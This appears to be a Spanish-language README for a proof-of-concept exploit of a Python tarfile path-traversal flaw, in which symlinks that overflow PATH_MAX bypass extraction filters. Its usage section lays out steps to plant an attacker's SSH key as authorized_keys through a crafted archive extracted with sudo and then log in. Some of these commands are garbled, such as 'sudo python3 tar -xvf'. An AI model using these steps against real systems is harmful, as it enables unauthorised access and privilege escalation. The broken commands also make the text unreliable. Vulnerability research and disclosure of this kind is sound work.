
Vulnerabilidad de directory traversal del módulo Tarfile ( con overflow cruzado de directorio ) --> Conduce a escalada de privilegios
Impacto : Escalada de privilegios
Funcionamiento :
Los métodos TarFile.extractall() y TarFile.extract() de Python admiten una funcionalidad que permite establecer un filtro para mejorar la seguridad al usarlos. La biblioteca estándar de Python proporciona dos implementaciones tar_filter ("tar") y data_filter ("data"), cada una con distintas comprobaciones para mejorar la seguridad de la extracción de archivos tar.
Existe un bug al procesar una ruta con enlaces simbólicos que es más corta que PATH_MAX, pero más larga que PATH_MAX cuando los enlaces simbólicos se sustituyen mediante os.path.realpath(). Cualquier enlace simbólico que esté más allá de PATH_MAX no se expande.
os.path.realpath() es utilizado por los filtros "tar" y "data" para validar la ruta, pero no se lanza ningún error si se supera PATH_MAX. Posteriormente, durante extractall() o extract(), las rutas se utilizan sin pasarlas por os.path.realpath().
Referencia : https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f
Cómo usar el PoC :
ssh-keygen -t ed25519 -f any
mkdir test
mv any.pub authorized_keys
cp authorized_keys /test
cd test
#Put your public key file name (authorized_keys)
python3 exploit.py
(file.tar) ~ generated
# Now using Python3
sudo python3 tar -xvf file.tar
#login
chmod 600 any
ssh -i any user@ip